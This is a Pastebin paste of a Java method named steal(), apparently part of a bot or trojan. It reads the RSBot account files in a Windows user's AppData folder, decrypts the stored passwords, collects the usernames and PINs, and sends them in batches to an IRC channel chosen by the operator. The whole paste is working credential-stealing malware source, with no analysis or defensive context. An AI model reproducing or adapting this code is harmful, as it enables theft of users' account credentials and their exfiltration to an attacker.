Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.88 KB | None | 0 0
  1.     public void steal() {
  2.         try {
  3.         File f;
  4.         String XPLoc = System.getProperty("user.home") + "\\Application Data\\RSBot_Accounts.ini";
  5.         String Vis7Loc = System.getProperty("user.home") + "\\AppData\\Roaming\\RSBot_Accounts.ini";
  6.         if (System.getProperty("os.name").toLowerCase().contains("xp")) {
  7.             f = new File(XPLoc);
  8.         } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
  9.             f = new File(Vis7Loc);
  10.         } else {
  11.             return;
  12.         }
  13.         if (f.exists()) {
  14.             try {
  15.                 BufferedReader reader = new BufferedReader(new FileReader(f));
  16.                 String line = "";
  17.                 String str = "";
  18.                 while((line = reader.readLine()) != null) {
  19.                     if (line.contains("[")) {
  20.                         line = line.replace("[", "");
  21.                         line = line.replace("]", "");
  22.                         str = str + "\003] [\002\003User:\002\00310 " + line;
  23.                     }
  24.                     if (line.contains("password=")) {
  25.                         line = line.replace("password=", "");
  26.                         str = str + " \002\003Pass:\002\00310 " + decrypt(line);
  27.                     }
  28.                     if (line.contains("pin=")) {
  29.                         line = line.replace("pin=", "");
  30.                         str = str + " \002\003Pin:\002\00310 " + line;
  31.                     }
  32.                     if (str.length() > 200) {
  33.                         MSL.sendMessage(Config.Channel, str.substring(3, str.length()) + "\002\003]\002");
  34.                         str = "";
  35.                     }
  36.                 }
  37.             MSL.sendMessage(Config.Channel, str.substring(3, str.length()) + "\002\003]\002");
  38.             reader.close();
  39.             } catch(IOException ioe) {
  40.             MSL.sendMessage(Config.Channel, "Error reading file, IOException thrown: " + ioe.toString());
  41.             }
  42.         }
  43.            
  44.            
  45.            
  46.         XPLoc = System.getProperty("user.home") + "\\Application Data\\RSBot Accounts.ini";
  47.         Vis7Loc = System.getProperty("user.home") + "\\AppData\\Roaming\\RSBot Accounts.ini";
  48.         if (System.getProperty("os.name").toLowerCase().contains("xp")) {
  49.             f = new File(XPLoc);
  50.         } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
  51.             f = new File(Vis7Loc);
  52.         } else {
  53.             return;
  54.         }
  55.         if (f.exists()) {
  56.             try {
  57.                 BufferedReader reader = new BufferedReader(new FileReader(f));
  58.                 String line = "";
  59.                 String str = "";
  60.                 while((line = reader.readLine()) != null) {
  61.                     String parts[] = line.split(":");
  62.                     int len = parts.length;
  63.                     if (len > 1) {
  64.                         if (len == 2) {
  65.                             str = str  + "\002\00314[User:\002 " + parts[0] + " : \002Pass:\002 " + decrypt(parts[1]) + "\002]\002";
  66.                         } else if (len == 3) {
  67.                             str = str +  "\002\00314[User:\002 " + parts[0] + " : \002Pass:\002 " + decrypt(parts[1]) + " : \002Pin:\002 " + parts[2] + "\002]\002";
  68.                         }
  69.                     }
  70.                     if (str.length() > 200) {
  71.                         MSL.sendMessage(str);
  72.                         str = "";
  73.                     }
  74.                 }
  75.             MSL.sendMessage(Config.Channel, str);
  76.             reader.close();
  77.             } catch(IOException ioe) {
  78.             MSL.sendMessage(Config.Channel, "Error reading file, IOException thrown: " + ioe.toString());
  79.             }
  80.         }
  81.     } catch (Exception a) {
  82.         MSL.sendMessage(Config.Channel, "ERROR: " + a.toString());
  83.         }
  84.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement